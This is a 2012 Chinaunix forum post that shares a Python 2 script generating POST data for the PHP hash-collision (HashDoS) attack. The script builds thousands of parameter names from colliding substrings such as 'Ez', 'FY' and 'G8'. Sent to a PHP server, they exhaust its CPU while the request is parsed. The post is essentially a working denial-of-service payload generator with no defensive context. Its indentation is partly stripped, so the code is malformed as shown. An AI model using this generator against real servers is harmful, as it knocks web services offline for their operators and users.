Chinaunix

标题: php最新hash碰撞产生post数据的代码 [打印本页]

作者: greattiny 时间: 2012-01-07 19:38
标题: php最新hash碰撞产生post数据的代码
import sys
import math
import urllib
import string

def main():
payload = generatePayload()
print("%s" % payload)
def generatePayload():
#from:http://xuejiani.org/
a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)}
length = 5
size = len(a)
post = ""
maxvaluefloat = math.pow(size,length)
maxvalueint = int(math.floor(maxvaluefloat))
for i in range (maxvalueint):
      inputstring = base_convert(i, size)
      result = inputstring.rjust(length, '0')
      for item in a:
         result = result.replace(item, a[item])
      post += '' + urllib.quote(result) + '=&'

return post;

def base_convert(num, base):
fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
alphabet = fullalphabet[:base]
if (num == 0):
      return alphabet[0]
arr = []
base = len(alphabet)
while num:
      rem = num % base
      num = num // base
      arr.append(alphabet[rem])
arr.reverse()
return ''.join(arr)

if __name__ == "__main__":
main()

欢迎光临 Chinaunix (http://bbs.chinaunix.net/)